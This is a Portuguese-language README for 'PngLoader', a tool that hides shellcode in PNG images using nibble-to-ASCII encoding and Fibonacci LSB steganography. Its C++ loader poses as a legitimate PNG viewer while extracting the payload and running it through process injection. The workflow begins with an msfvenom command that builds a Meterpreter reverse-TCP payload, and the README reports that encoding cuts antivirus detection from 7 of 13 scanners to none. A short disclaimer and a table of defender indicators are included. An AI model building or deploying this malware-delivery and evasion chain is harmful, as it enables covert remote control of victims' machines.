
Oculta payloads arbitrários em imagens PNG usando codificação nibble-para-ASCII e esteganografia LSB de Fibonacci, com um loader em C++ que extrai e executa os dados incorporados.
Aviso: Este projeto destina-se exclusivamente a fins educacionais e de pesquisa de segurança autorizada — testes de penetração, competições CTF, exercícios de red-team e estudo acadêmico. Não o utilize contra sistemas sem autorização escrita explícita.
O PngLoader oculta dados arbitrários dentro de imagens PNG usando duas camadas:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
Cada byte é dividido em dois nibbles de 4 bits. Cada nibble é mapeado para um caractere ASCII imprimível adicionando uma base aleatória (48, 64 ou 96):
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
Decodificação usa a propriedade módulo-16 — todas as três bases são múltiplos de 16:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
A seleção de base aleatória significa que a mesma entrada produz saídas diferentes a cada vez, mas a decodificação é sempre determinística.
| Base | Intervalo | Caracteres |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
Os bytes do payload são colocados em índices de pixels seguindo a sequência de Fibonacci (1, 2, 3, 5, 8, 13, 21, …) no array de pixels achatado. Isso espalha as modificações pela imagem em vez de agrupá-las.
Empacotamento de bits — cada byte é dividido em 3/3/2 pelos LSBs RGB:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
Wrapping — quando os índices de Fibonacci excedem a contagem de pixels, eles dão a volta via módulo. As colisões são resolvidas por sondagem linear. Um terminador 0x00 marca o fim dos dados.
| Tamanho da Imagem | Pixels | Capacidade Limpa |
|---|---|---|
| 640×480 | 307,200 | ~27 bytes |
| 1920×1080 | 2,073,600 | ~31 bytes |
| 4000×3000 | 12M | ~35 bytes |
Com o wrapping ativado, capacidade máxima = total_pixels − 1.
O loader em C++ (loader_png.cpp) atua como um visualizador de PNG legítimo:
UtilDecryptFileQuoted() (reversão mod-16)A sequência de Fibonacci é apenas uma abordagem. Outras estratégias de seleção de pixels oferecem diferentes trade-offs de capacidade/segurança:
| Algoritmo | Capacidade Limpa (1080p) | Chave Compartilhada | Espalhamento | Custo |
|---|---|---|---|---|
| Fibonacci (implementado) | ~31 bytes | Não | Lacunas exponenciais | Mínimo |
| Prime-Index | ~150K bytes | Não | Lacunas n·ln(n) | Moderado |
| LFSR | ~2M bytes | Sim (seed) | Pseudo-aleatório | Mínimo |
| Keyed Permutation | ~2M bytes | Sim (chave) | Criptográfico | Alto |
| Hilbert Curve | Dependente do stride | Não | Espacialmente uniforme | Moderado |
| Golden Ratio (Weyl) | ~2M bytes | Não | Baixa discrepância | Mínimo |
Prime-Index — Os índices de pixels são números primos (2, 3, 5, 7, 11…). Os primos crescem como n·ln(n), proporcionando uma capacidade limpa muito maior que a de Fibonacci.
LFSR — Um Linear Feedback Shift Register de comprimento máximo produz uma permutação pseudo-aleatória. A seed atua como um segredo compartilhado. Zero colisões para o período completo.
Keyed Permutation (Fisher-Yates) — Um embaralhamento de todos os índices de pixels com seed de CSPRNG. As posições são indistinguíveis de aleatórias sem a chave.
Hilbert Curve — Percorre os pixels ao longo de uma curva de preenchimento espacial com um stride. Distribui as alterações uniformemente pela área 2D da imagem.
Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. Produz a distribuição 1D mais uniforme possível. Trivial de calcular.
Payload bruto — 7/13 scanners o detectam:

Após a codificação — 0/13 scanners o detectam:

Para blue-team / defensores:
| Camada | Indicador |
|---|---|
| Estático | Imports: VirtualAllocEx, WriteProcessMemory, SetThreadContext |
| Imagem | Esteganálise de qui-quadrado nos planos LSB detecta modificações |
| Comportamental | Criação de processo suspenso + injeção de thread remota (Sysmon EID 1+8) |
| Codificação | Caracteres exclusivamente de três faixas ASCII de 16 caracteres |
Python:
pip install numpy Pillow
Loader em C++:
1.Loader/Loader_png.vcxproj → Build Release x64Apenas para pesquisa de segurança educacional e autorizada. Consulte o aviso de isenção de responsabilidade acima.